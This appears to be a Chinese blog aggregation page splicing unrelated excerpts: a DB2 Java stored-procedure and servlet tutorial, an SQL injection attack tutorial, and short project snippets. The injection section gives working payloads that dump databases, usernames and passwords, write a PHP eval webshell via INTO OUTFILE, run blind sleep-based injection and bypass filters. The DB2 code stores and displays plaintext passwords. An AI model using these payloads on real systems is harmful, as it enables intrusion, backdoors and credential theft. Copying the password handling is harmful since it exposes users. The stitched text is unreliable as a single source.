精华内容
下载资源
问答
  • 第一步:在开发目录D:/DB2ExpV82ProcSampleWeb/Proc里创建几个文件:1、DuYiProcCreate.db2内容: CREATE PROCEDURE RtnGoodsInfo(IN GoodName char(16))DYNAMIC RESULT SETS 1NOT DETERMINISTICLANGUAGE JAVA ...

    第一步:

    在开发目录D:/DB2ExpV82ProcSampleWeb/Proc里创建几个文件:

    1、

    DuYiProcCreate.db2

    内容:

     

    CREATE PROCEDURE RtnGoodsInfo(IN GoodName char(16))
    DYNAMIC RESULT SETS 1
    NOT DETERMINISTIC
    LANGUAGE JAVA
    PARAMETER STYLE JAVA
    NO DBINFO
    FENCED
    THREADSAFE
    READS SQL DATA
    PROGRAM TYPE SUB
    EXTERNAL NAME 'DuYiProc.RtnGoodsInfo'@

    CREATE PROCEDURE  RtnAllUserInfo()
    DYNAMIC RESULT SETS 1
    NOT DETERMINISTIC
    LANGUAGE JAVA
    PARAMETER STYLE JAVA
    NO DBINFO
    FENCED
    THREADSAFE
    READS SQL DATA
    PROGRAM TYPE SUB
    EXTERNAL NAME 'DuYiJavaProc.RtnAllUserInfo'@

    CREATE PROCEDURE ONE_RESULT_SET (IN salValue DOUBLE)
    DYNAMIC RESULT SETS 1
    NOT DETERMINISTIC
    LANGUAGE JAVA
    PARAMETER STYLE JAVA
    NO DBINFO
    FENCED
    THREADSAFE
    READS SQL DATA
    PROGRAM TYPE SUB
    EXTERNAL NAME 'DuYiJavaProc.resultSetToClient'@

    CREATE PROCEDURE TWO_RESULT_SETS (IN salary DOUBLE)
    DYNAMIC RESULT SETS 2
    NOT DETERMINISTIC
    LANGUAGE JAVA
    PARAMETER STYLE JAVA
    NO DBINFO
    FENCED
    THREADSAFE
    READS SQL DATA
    PROGRAM TYPE SUB
    EXTERNAL NAME 'DuYiJavaProc.twoResultSets'@

    2、

    用来删除存储过程的DuYiProcDrop.db2

    内容:

    DROP PROCEDURE RtnGoodsInfo (CHAR(16))@

    DROP PROCEDURE RtnAllUserInfo()@

    DROP PROCEDURE ONE_RESULT_SET (DOUBLE)@

    DROP PROCEDURE TWO_RESULT_SETS (DOUBLE)@

    3、被调用的java类:DuYiJavaProc.java

    内容:


    import java.sql.*;              // JDBC classes
    ///
    // Java stored procedure is in this class
    ///
    //返回货物信息

     


    //返回全部已注册的用户信息
    public class DuYiJavaProc
    {
     
      public static void   RtnGoodsInfo(char[] goodName,ResultSet[] outRs)
                 throws SQLException
      {
        int errorCode = 0; // SQLCODE = 0 unless SQLException occurs
        String errorLabel = null;   
        try
        {
          // get caller's connection to the database
          errorLabel = "GET CONNECTION"; 
          Connection con = DriverManager.getConnection("jdbc:default:connection");

          errorLabel = "SELECT STATEMENT";
         
          // set the SQL statement that will return the desired result set
          String query = "SELECT GoodsName, StockNums,Description,Price" +
                  "  FROM GoodsInfo where GoodsName like ? ";
          // prepare the SQL statement
          PreparedStatement stmt = con.prepareStatement(query);
          stmt.setString(1, "%"+goodName+"%");
          // get the result set that will be returned to the client
          outRs[0] = stmt.executeQuery();     
          // to return a result set to the client, do not close ResultSet
          con.close();
        }

        catch (SQLException sqle)
        {
          errorCode = sqle.getErrorCode();
          throw new SQLException( errorCode + " : " + errorLabel + " FAILED" );
        }
      }//RtnGoodsInfo
       
       
      public static void   RtnAllUserInfo(ResultSet[] outRs)
                 throws SQLException
      {
        int errorCode = 0; // SQLCODE = 0 unless SQLException occurs
        String errorLabel = null;   
        try
        {
          // get caller's connection to the database
          errorLabel = "GET CONNECTION"; 
          Connection con = DriverManager.getConnection("jdbc:default:connection");

          errorLabel = "SELECT STATEMENT";
         
          // set the SQL statement that will return the desired result set
          String query = "SELECT name, password " +
                  "  FROM users ";

          // prepare the SQL statement
          PreparedStatement stmt = con.prepareStatement(query);
          // get the result set that will be returned to the client
          outRs[0] = stmt.executeQuery();
         
          // to return a result set to the client, do not close ResultSet
          con.close();
        }

        catch (SQLException sqle)
        {
          errorCode = sqle.getErrorCode();
          throw new SQLException( errorCode + " : " + errorLabel + " FAILED" );
        }
      }//RtnAllUserInfo
       
      //*************************************************************************
      //  Stored Procedure: resultSetToClient
      //
      //  Purpose:  Returns a result set to the caller that identifies employees
      //            with salaries greater than the value of input parameter
      //            inSalaryThreshold.
      //
      //  Parameters:
      //
      //   IN:      inSalaryThreshold - salary
      //   OUT:     outRs - ResultSet
      //
      //*************************************************************************
      public static void resultSetToClient(double inSalaryThreshold,
                                           ResultSet[] outRs)          
      throws SQLException
      {
        int errorCode = 0; // SQLCODE = 0 unless SQLException occurs
        String errorLabel = null;   
        try
        {
          // get caller's connection to the database
          errorLabel = "GET CONNECTION"; 
          Connection con = DriverManager.getConnection("jdbc:default:connection");

          errorLabel = "SELECT STATEMENT";
         
          // set the SQL statement that will return the desired result set
          String query = "SELECT name, job, CAST(salary AS DOUBLE) " +
                  "  FROM staff " +
                         "  WHERE salary > ? " +
                         "  ORDER BY salary";

          // prepare the SQL statement
          PreparedStatement stmt = con.prepareStatement(query);

          // set the value of the parameter marker (?)
          stmt.setDouble(1, inSalaryThreshold);

          // get the result set that will be returned to the client
          outRs[0] = stmt.executeQuery();
         
          // to return a result set to the client, do not close ResultSet
          con.close();
        }

        catch (SQLException sqle)
        {
          errorCode = sqle.getErrorCode();
          throw new SQLException( errorCode + " : " + errorLabel + " FAILED" );
        }
      } // resultSetToClient

      //*************************************************************************
      //  Stored Procedure: twoResultSets
      //
      //  Purpose:  Return two result sets to the caller. One result set
      //            consists of employee data of all employees with
      //            salaries greater than inSalaryThreshold.  The other
      //            result set contains employee data for employees with salaries
      //            less than inSalaryThreshold.
      //
      //  Parameters:
      //
      //   IN:      inSalaryThreshold - salary
      //   OUT:     outRs1 - first ResultSet
      //            outRs2 - second ResultSet
      //
      //*************************************************************************
      public static void twoResultSets(double inSalaryThreshold,   
                                       ResultSet[] outRs1,            
                                       ResultSet[] outRs2)           
      throws SQLException
      {
        int errorCode = 0; // SQLCODE = 0 unless SQLException occurs
        String errorLabel = null;
       
        try
        {
          // get caller's connection to the database
          errorLabel = "GET CONNECTION"; 
          Connection con = DriverManager.getConnection("jdbc:default:connection");

          errorLabel = "SELECT STATEMENT 1";
         
          // set the SQL statement that will return the desired result set
          String query1 =
            "SELECT name, job, CAST(salary AS DOUBLE) FROM staff " +
            "  WHERE salary > ? " +
            "  ORDER BY salary";

          // prepare the SQL statement
          PreparedStatement stmt1 = con.prepareStatement(query1);

          // set the value of the parameter marker (?)
          stmt1.setDouble(1, inSalaryThreshold);

          // get the result set that will be returned to the client
          outRs1[0] = stmt1.executeQuery();

          errorLabel = "SELECT STATEMENT 2";
         
          // set the SQL statement that will return the desired result set
          String query2 =
            "SELECT name, job, CAST(salary AS DOUBLE) FROM staff " +
            "  WHERE salary < ? " +
            "  ORDER BY salary DESC";

          // prepare the SQL statement
          PreparedStatement stmt2 = con.prepareStatement(query2);

          // set the value of the parameter marker (?)
          stmt2.setDouble(1, inSalaryThreshold);

          // get the result set that will be returned to the client
          outRs2[0] = stmt2.executeQuery();

          // to return the result sets to the client, do not close the ResultSets
          con.close();
        }
        catch (SQLException sqle)
        {
          errorCode = sqle.getErrorCode();
          throw new SQLException( errorCode + " : " + errorLabel + " FAILED" );
        }
      } // twoResultSets
    } //DuYiJavaProc

     

    第二步:

    一、将db2java.zip从DB2安装目录下的SQLLIB/java复制到Tomcat5.5安装目录下的common/lib中。
    二、将config.xml复制到Tomcat安装目录下的conf中。
        登录sample数据库的用户名和密码要重新指定。
        sample样本数据库可通过运行db2fs命令创建。
    三、用命令db2fs创建样本数据库:sample 。
    1、创建相应的表:
    create table users(name varchar(30) not null primary key , password varchar(16) not null,description varchar(60) ,email varchar(60),phone varchar(16))
    insert into users values('杜毅 ','aaa','杜毅是四川托普学院计科系教师于08年9月29日开发该Web项目','duyi@163.com','66666666666')

     CREATE TABLE "ADMIN   "."GOODSINFO"  (
        "GOODSID" CHAR(20) NOT NULL ,
        "GOODSNAME" CHAR(50) NOT NULL ,
        "STOCKNUMS" BIGINT NOT NULL ,
        "DESCRIPTION" CHAR(100) ,
        "PRICE" DOUBLE NOT NULL )  
       IN "USERSPACE1" ;
    插入一些记录。

    2、用“数据源(ODBC)”建立一个系统数据源DB2sampleJDBC-ODBC。
    3、编辑Tomcat5.5的conf目录下的context.xml,在“</Context>”前添加:
    <Resource
          auth="Container"
          name="jdbc/DB2sampleJDBC-ODBC"
          type="javax.sql.DataSource"

          driverClassName="sun.jdbc.odbc.JdbcOdbcDriver"
          url="jdbc:odbc:DB2sampleJDBC-ODBC"

          maxIdle="60"
          maxActive="1000"
          maxWait="5000"

          username="admin"
          password="XXXXXX"
         />
    四、在NB61或“计算机管理”内重启Tomcat。
    五、创建存储过程:(假定DB2的安装目录是:C:/IBMDB2UDBExpressV82)
    在DB2的命令窗口中依次执行以下各行命令:  
    cd C:/IBMDB2UDBExpressV82/java/jdk/bin
    copy/y D:/DB2ExpV82ProcSampleWeb/Proc/*.*
    db2 connect  to sample
    db2 -td@ -vf duyiprocdrop.db2
    db2 -td@ -vf duyiproccreate.db2
    javac duyijavaproc.java
    dir *.class
    ...
    2008-09-29  14:39             2,623 DuYiJavaProc.class
    ...
    copy/y duyijavaProc.class C:/IBMDB2UDBExpressV82/Function
    (如果没有最后一步,会出现42724错误;即,找不到存储过程对应的java类。)
    六、创建和运行使用存储过程的(Web)项目即可。

    七、servlet代码举例:

    /**
     * 返回全部已注册的用户信息
     */
    package CallProc;

    import java.io.*;
    import java.sql.*;
    import javax.servlet.*;
    import javax.servlet.http.*;
    import javax.sql.DataSource;
    import javax.naming.InitialContext;

    public class CallRtnAllUserInfoProc extends HttpServlet {
      private InitialContext initCtx;
      private DataSource ds;
      private Connection con;
      // <editor-fold defaultstate="collapsed" desc="各个调用存储过程的方法。单击左侧的 + 号以编辑代码。">
      static double outMedian = 0;
      public static void callRtnAllUserInfo(Connection con,PrintWriter out)
      {
        try
        {
          // prepare the CALL statement for ONE_RESULT_SET
            //调用SpServer.resultSetToClient
          String procName = "RtnAllUserInfo";
          String sql = "CALL " + procName+"()";
          CallableStatement callStmt = con.prepareCall(sql);
          // call the stored procedure
          out.println("<p>存储过程<B>" + procName+"</B></font>的返回值:");
          callStmt.execute();
          ResultSet rs = callStmt.getResultSet();
          fetchAll(rs,out);
          // close ResultSet and callStmt
          rs.close();
          callStmt.close();
        }
        catch (SQLException e)
        {
          out.println(e.getMessage());
        }
      } // callOneResultSet
      // ======================================================
      // Method: fetchAll -- returns all rows from a result set
      // ======================================================
      public static void fetchAll(ResultSet rs,PrintWriter out)
      {
        try
        {
          out.println(
            "<br>=============================================================");
       
          // retrieve the  number, types and properties of the
          // resultset's columns
          ResultSetMetaData stmtInfo = rs.getMetaData();
          int numOfColumns = stmtInfo.getColumnCount();
          out.print("<br>共有"+numOfColumns+"列。<br>");
          out.print("<table><tr><td>用户名</td><td>密码</td><td>备注</td><td>EMAIL</td><td>电话号码</td>");
          while (rs.next())
          {
            for (int i = 1; i <= numOfColumns; i++)
            {
                out.print("<tr>");
                out.print("<td>");
                out.print(rs.getString(i));
                out.print("</td>");
                if (i == numOfColumns)
                    out.print("</tr>");
            }
          }
          out.print("</table>");
        }
        catch (Exception e)
        {
          out.println("fetchALL方法发生异常:"+e.getMessage());
          out.println("</body></html>");
        }
      } // fetchAll
     // </editor-fold>
        protected void processRequest(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException {
            response.setContentType("text/html;charset=GB2312");
            PrintWriter out = response.getWriter();
            try { 
                //使用连接池技术
                initCtx=new InitialContext(); 
         ds = (DataSource)initCtx.lookup("java:comp/env/jdbc/DB2sampleJDBC-ODBC"); 
                con = ds.getConnection();                          
                out.println("<html>");
                out.println("<head>");
                out.println("<title>调用存储过程</title>"); 
                out.println("</head>");
                out.println("<body>");
                out.println("<center><font color=blue><B>---全部已注册的用户信息---</B></font></center>");                 
                callRtnAllUserInfo(con,out);
                //回滚全部对sample数据库的可能更改
                con.rollback();                                  
                con.close();
                out.println("</body>");
            }       
            catch (Exception e)
            {
              out.println("异常:"+e.toString());
              try
              {
                con.rollback();
                con.close();
              }
              catch (Exception x)
              {
              }         
            }
            finally {
                    out.close();
            }
        }

        // <editor-fold defaultstate="collapsed" desc="HttpServlet 方法。单击左侧的 + 号以编辑代码。">
        /**
        * Handles the HTTP <code>GET</code> method.
        * @param request servlet request
        * @param response servlet response
        */
        protected void doGet(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException {
            processRequest(request, response);
        }

        /**
        * Handles the HTTP <code>POST</code> method.
        * @param request servlet request
        * @param response servlet response
        */
        protected void doPost(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException {
            processRequest(request, response);
        }

        /**
        * Returns a short description of the servlet.
        */
        public String getServletInfo() {
            return "Short description";
        }
        // </editor-fold>
    }


     

    展开全文
  • DB II指导项目 指导项目DB II模块。 先决条件 已安装 。 像安装或一样的REST客户端。 为创建一个免费帐户。 项目设置 分叉并克隆此存储库。 CD放入克隆分叉的文件夹中。 输入npm i以下载依赖项。 输入npm run ...
  • 现有两个不同Web工程项目,分别部署到两台was服务器上(was1、was2), 两个系统的用户、所属部门和菜单权限均是两个数据库db1、db2,两个web系统 的登录页面分别为index1.jsp、index2.jsp; 如何整合实现:通过...
  • SQL Injection一、原理1. 什么是数据库?数据库就是按照数据结构来组织、存储和管理数据的建立在...常见数据库比如 Access、SQL Server、MySQL、Oracle、Sybase、DB2以及其他数据库系统。3. 什么是SQL注入?SQL注...

    SQL Injection

    一、原理

    1. 什么是数据库?

    数据库就是按照数据结构来组织、存储和管理数据的建立在计算机存储设备上的仓库。

    2. 什么是SQL?

    一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理数据库系统。常见数据库比如 Access、SQL Server、MySQL、Oracle、Sybase、DB2以及其他数据库系统。

    3. 什么是SQL注入?

    SQL注入 就是一种 通过操作输入 来修改后台SQL语句达到 执行恶意SQL代码 进行攻击目的的技术。

    4. SQL注入是怎么产生的?

    构造动态字符串是一种编程技术,它允许开发人员在运行过程中动态构造SQL语句。开发人员可以使用动态SQL来创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,它根据不同的条件产生不同的 SQL语句。当开发人员在运行过程中需要根据不同的查询标准来决定提取什么字段(如SELECT语句),或者根据不同的条件来选择不同的查询表时,动态构造SQL语句会非常有用。

    在 PHP 中动态构造 SQL 语句字符串:

    $query = "SELECT * FROM users WHERE username = ".$_GET["admin"];

    通过控制输入参数admin,修改所要执行SQL语句逻辑,达到攻击的目的。

    二、寻找

    常见的注入点

    GET 请求:该请求在 URL 中发送参数。

    POST 请求:数据被包含在请求体中。

    其他注入型数据:HTTP 请求的头部字段也可能会触发 SQL 注入漏洞

    1. 有错误信息返回

    在注入点参数中添加单/双引号,看是否会返回错误信息:

    error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

    2. 无错误信息返回

    and : 同为真时为真。

    or : 同为假时为假。

    如果页面不返回任何错误信息,我们就可以借助本方法来推断了,首先我们在参数后面加上 and 1=1 和 and 1=2 看看有什么不同。

    and 1=1 能返回数据,而 and 1=2 没有,这是由于 1=1是一个为真的条件,前面的结果是 true,true and true 所以没有任何问题,第二个 1=2 是个假条件, true and false 还是 false,所以就没有数据返回。

    先把参数改为很大的数或负数,要让它查询不到数据,我们加上 or 1=1 就成功返回了数据,这是因为 1=1 为真,不管前面是不是假,数据都会返回。当 or 1=2 时,因为 1=2 为假,前后都为假,最终也是假,数据就不会返回了。

    三、利用

    1. 识别数据库

    1.1 通过网站脚本类型判断

    PHP -> Oracle、MySQL

    JSP -> Oracle、MySQL

    ASP/.NET -> SQL Server

    1.2 通过错误信息判断

    MySQL -> error:You have an error in your SQL syntax; check themanual that corresponds to your MySQL server version

    Oracle -> Microsoft OLE DB Provider for ODBC Drivers 错误

    1.3 通过数字函数判断

    SQL Server -> @@pack_received、@@rowcount

    MySQL -> connection_id()、last_insert_id() 、 row_count()

    Oracle -> BITAND(1,1)

    PostgreSQL -> select EXTRACT(DOW FROMNOW())

    2. UINON 语句提取数据

    UNION 操作符可以合并两条或多条 SELECT 语句的查询结果,基本语法如下:

    select column1 column2 from table1 UNION select column1 column2 from table2

    使用UNION 要满足两个条件:

    1.两个查询返回的列数必须相同

    2.两个查询语句对于列返回的数据类型必须相同

    2.1 列数获得

    order by子句可以帮助我们得到列数。// 最大且不报错的数即为我们所要得到的列数。

    2.2 列回显点获得

    ?id=-1' union select 1,2,3%23

    先查询一个不存在的参数,本应该返回空的;

    但是使用UNION查询,会输出后面的查询;

    用数字去占位,所以能看到的数字就是回显点。

    2.3 猜解数据库

    1. 查询数据库版本信息

    ?id=' union select 1,version(),3%23

    2. 查询当前数据库和用户

    ?id=' union select 1,database(),user()%23

    3. 查询所有数据库

    ?id=' union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

    4. 查询表名

    ?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23

    5. 查询列名

    ?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3%23

    5. 查询字段值

    ?id=' union select 1,(select group_concat(username separator ';') from users),(select group_concat(password separator ';') from users)%23

    2.4 获取哈希口令

    哈希口令是通过使用PASSWORD()函数计算的,具体算法取决于MySQL安装的版本。

    select password('admin')

    也可以通过在线解密网站进行解密。如 CMD5

    2.5 写入Webshell

    需要得到网站的绝对路径,数据库管理系统有向服务器文件系统写文件的权限。

    ?id=1' union select "<?php @eval($_POST['cmd']);?>" into outfile "D:\\XXX\\conn.php"%23

    2.6 盲注利用

    上面是显注的一般利用过程,盲注的话,改一下基本查询语句,利用sleep()函数,过程上与显注类似。

    id=1 union select 1,if(SUBSTRING(user(),1,4)='root',sleep(5),1),3

    IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。

    四、防御

    Web应用为了防御包括SQL注入在内的攻击,常常使用输入过滤器,这些过滤器可以在应用的代码中,也可以通过外部实现,比如 Web 应用防火墙和入侵防御系统。

    1. 绕过方法总结

    1.1 大小写

    这种方法适用于关键字阻塞过滤器不聪明的时候,我们可以变换关键字字符串中字符的大小写来避开过滤,因为使用不区分大小写的方式处理SQL关键字。

    1.2 URL编码

    通过把我们构造的payload中的特殊字符进行URL编码,然后过滤器就不会匹配到,$_GET函数本身会对括号内的字符串进行URL解码,从而实现绕过。

    空格->%20、"->%22、#->%23、%->%25、'->%27、(->%28、)->%29 ...

    1.3 SQL注释

    //、--、/* */、 #、--+

    1.4 空字节

    通常的输入过滤器都是在应用程序之外的代码实现的。比如入侵检测系统,这些系统一般是由原生编程语言开发而成,比如C++,为什么空字节能起作用呢,就是因为在原生编程语言中,根据字符串起始位置到第一个出现空字节的位置来确定字符串长度。所以说空字节就有效的终止了字符串。只需要在过滤器阻止的字符串前面提供一个采用 URL 编码的空字节即可,例如:

    %00' union select username,password from users where username='admin' --

    1.5 等价函数与命令

    ascii() -> hex()、bin()

    sleep() -> benchmark()

    group_concat() -> concat_ws()

    substr() -> mid()、substring()

    user() -> @@user

    datadir() -> @@datadir

    2. 防御技巧

    2.1 输入验证

    输入验证是指要验证所有应用程序接收到的输入是否合法。有两中不同类型的输入验证方法:白名单和黑名单验证

    白名单验证:比如id值,那么我们判断它是否为数字。

    黑名单验证:使用正则表达式禁止使用某些字符和字符串

    应该尽量使用白名单,对于无法使用白名单的,使用黑名单提供局部限制。

    2.2 编码输出

    所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口结合预编译语句可以非常有效的防止SQL注入攻击。

    对进入数据库的特殊字符('"<>&*;-- 等)进行转义处理,或编码转换。

    确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。

    数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。

    网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。

    使用低权限账号启动数据库,禁用数据库的危险函数如 xp_cmd ,禁用危险存储过程

    用户权限使用最小权限原则,比如只使用到读权限的用户,只分配查询权限。

    五、工具

    sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用 SQL 注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎 , 针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

    Pangolin

    Pangolin是一款帮助渗透测试人员进行 SQL 注入测试的安全工具。它具备友好的图形界面以及支持测试几乎所有数据库,并能够通过一系列非常简单的操作,达到最大化的攻击测试效果。

    Havij

    Havij 是一款自动化的 SQL 注入工具,它不仅能够自动挖掘可利用的 SQL 查询,还能够识别后台数据库类型、检索数据的用户名和密码 hash、转储表和列、从数据库中提取数据,甚至访问底层文件系统和执行系统命令。

    SSQLInjection

    超级SQL注入工具(SSQLInjection)是一款基于 HTTP协议自组包的SQL注入工具,支持出现在 HTTP 协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入。目前支持 Bool 型盲注、错误显示注入、Union注入,支持 Access、MySQL 5以上版本、SQLServer、Oracle等数据库。采用C# 开发,底层采用Socket发包进行HTTP交互,极大的提升了发包效率,相比C#自带的 HttpWebRequest 速度提升2-5倍。支持盲注环境获取世界各国语言数据,直接秒杀各种注入工具在盲注环境下无法支持中文等多字节编码的数据。

    The Mole

    The Mole 是一款开源的自动化SQL注入工具,其可绕过IPS/IDS(入侵防御系统/入侵检测系统)。只需提供一个URL和一个可用的关键字,它就能够检测注入点并利用。The Mole可以使用union注入技术和基于逻辑查询的注入技术。The Mole攻击范围包括SQL Server、MySQL、Postgres和Oracle数据库。

    BBQSQL是一个Python编写的盲注工具(Blind SQL injection framework),当你检测可疑的注入漏洞时会很有用。同时 BBQSQL 是一个半自动工具,允许客户自定义参数。

    JSQL 是一款 Java 开发的轻量级远程服务器数据库注入漏洞测试工具,且免费、开源、跨平台 (Windows,Linux, Mac OS X, Solaris)。

    sqlsus是一个开放源代码的 MySQL 注入和接管工具,sqlsus 使用 perl 编写 , 基于命令行界面。sqlsus可以获取数据库结构,注入你自己的 SQL 语句,从服务器下载文件,爬行 web 站点可写目录,上传和控制后门,克隆数据库等等

    展开全文
  • DB2数据库 Oracle数据库 SQL Server数据库 MySQL数据库 Access数据库 Web服务器 IIS BEA WebLogic Server Apache Tomcat 浏览器 转载于:https://www.cnblogs.com/tufujie/p/5034275.html...

    开发工具

    数据库系统

    DB2数据库

    Oracle数据库

    SQL Server数据库

    MySQL数据库

    Access数据库

    Web服务器

    IIS

    BEA WebLogic Server

    Apache

    Tomcat

    浏览器

    转载于:https://www.cnblogs.com/tufujie/p/5034275.html

    展开全文
  • 一个解决方案中有16个项目,其中4个VB.NET项目,其它是C#项目。前台是VB.NET。基本都是VS2005平台,其中也有VS2003平台上写的程序。现在要全部迁移到VS2008平台,并将所有VB部分转为C#代码。并重构UI及部分流程。...

     

          一个解决方案中有16个项目,其中4个VB.NET项目,其它是C#项目。前台是VB.NET。基本都是VS2005平台,其中也有VS2003平台上写的程序。现在要全部迁移到VS2008平台,并将所有VB部分转为C#代码。并重构UI及部分流程。连接是DB2,并大量采用了数据集。

      目前已经迁移到VS2008平台,把碰到的问题做个记录以分享。

         

          其实直接采用VS2008自动转换工具很顺利,基本上没有产生太多的错误。但VS2005下面由工具采用的数据集转到VS2008下面就产生了很问题。其实大多是原有代码不够规范产生的。比如:有三层目录,但在类文件里的namespace并没有三层,或只体现了两层甚至一层目录名称,这样转换过来后VS2008自动会按照层级来命名namespace,如此一来引用数据集地方都出现找不到类名的错误。

          其二,数据集转过来后我们发现它居然改了类名,不知是不是我们眼花了。但确实对照着看了后类名真的被改了。有点奇怪,请高人指点。

     

      

    转载于:https://www.cnblogs.com/KivenLin/archive/2010/05/07/1729902.html

    展开全文
  • 以基于WEB的中文图形界面对多个DB2数据库和实例进行管理。管理对象包括DB2数据库的实例、数据库、表空间、缓冲池、应用程序、配置等。管理项目包括数据库事务负载、IO负载、容量、IO性能、锁、排序、应用、内存使用...
  • 在开发及项目运维中,对数据库的操作大家目前都是使用客户端工具进行操作,例如MySQL的客户端工具navicat,Oracle的客户端工具 PL/SQL Developer, MSSQL的客户端工具查询分析器等。目前大家使用的大都是C/S单机版的...
  • 问题描述idea将web项目部署到tomcat7,启动时报以下错误:Unable to process Jar entry [COM/ibm/db2os390/sqlj/custom/DB2SQLJCustomizer.class] from Jar ,详细信息如下图: 环境ideaIU-2017.2.1.win jdk1.6.0_...
  • 在开发及项目运维中,对数据库的操作大家目前都是使用客户端工具进行操作,例如MySQL的客户端工具navicat,Oracle的客户端工具PL/SQL Developer, MSSQL的客户端工具查询分析器等。目前大家使用的大都是C/S单机版的...
  • Task error with db2

    2020-11-30 11:31:37
    <div><p>Starting dataflow with <code>db2</code>: <pre><code> java -jar build/libs/dataflow-server-with-drivers17x-1.7.4.BUILD-SNAPSHOT.jar --spring.datasource.url='jdbc:db2://localhost:50000/...
  • 键字: Web Services Webpshere 项目管理去年,在一个大型...为什么你们项目中要用到Web Services,因为客户有如下需求: 1、客户要求项目用C/S架构,并且服务器端是IBM那一套:WebSphere AppServer+DB2+AIX5.3+RS/
  • 一个正规的压缩版java项目的说明书,用日文写的,如果有谁对“对日项目”感兴趣地话就请下载,这里我用的是IBM的WebSphere Studio和DB2开发的。!!!!软件在其它地方下载上传了 希望装日文系统,有些东西在...
  • DB2 数据库软件下载

    千次阅读 2018-08-23 22:25:23
    最近的项目DB2,搜了好久都没找到下载的地址,最后在IBM官网找出,亲测可下,有多个版本可以用   https://www-01.ibm.com/marketing/iwm/iwm/web/download.do?S_PKG=ov59318&amp;source=mrs-db2devcdbsrv&...
  • 为什么你们项目中要用到Web Services,因为客户有如下需求: 1、客户要求项目用C/S架构,并且服务器端是IBM那一套:WebSphere AppServer+DB2+AIX5.3+RS/6000。 2、最终用户上报数据,因为网络原因,譬如Modem上网
  • 在开发及项目运维中,对数据库的操作大家目前都是使用客户端工具进行操作,例如MySQL的客户端工具navicat,Oracle的客户端工具PL/SQL Developer, MSSQL的客户端工具查询分析器等。目前大家使用的大都是C/S单机版的...
  • python开发web项目,使用flask_sqlachemy连接db2,写入数据库出现中文乱码
  • 为什么你们项目中要用到Web Services,因为客户有如下需求: 1、客户要求项目用C/S架构,并且服务器端是IBM那一套:WebSphere AppServer+DB2+AIX5.3+RS/6000。 2、最终用户上报数据,因为网络原因,...
  • db2连接池故障排除记

    2010-10-09 09:14:44
    [size=medium]用java写了个web项目,用了struts和spring。项目中还用了个连接池,数据库是用的db2.一开始时数据源在spring配置文件中是这样配置的:[/size] [color=red] jdbc:db2://localhost:50000/test ...
  • 为什么你们项目中要用到Web Services,因为客户有如下需求: 1、客户要求项目用C/S架构,并且服务器端是IBM那一套:WebSphere AppServer+DB2+AIX5.3+RS/6000。 2、最终用户上报数据,因为网络原因,譬如Modem上网
  • 为什么你们项目中要用到Web Services,因为客户有如下需求: 1、客户要求项目用C/S架构,并且服务器端是IBM那一套:WebSphere AppServer+DB2+AIX5.3+RS/6000。 2、最终用户上报数据,因为网络原因,譬如Modem上网...
  • DB2替换Sybase的like

    2010-09-01 22:27:13
    最近项目将Sybase转为DB2,问题很多,太多的不兼容,严谨的语法。  今天遇到like问题。  原始SQL: select lm.DM,lm.MC,wz.MC,wz.URL from WEB_LMXX lm,WEB_WZXT wz where wz.DM like lm.DM||'%'  在...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 388
精华内容 155
关键字:

web项目db2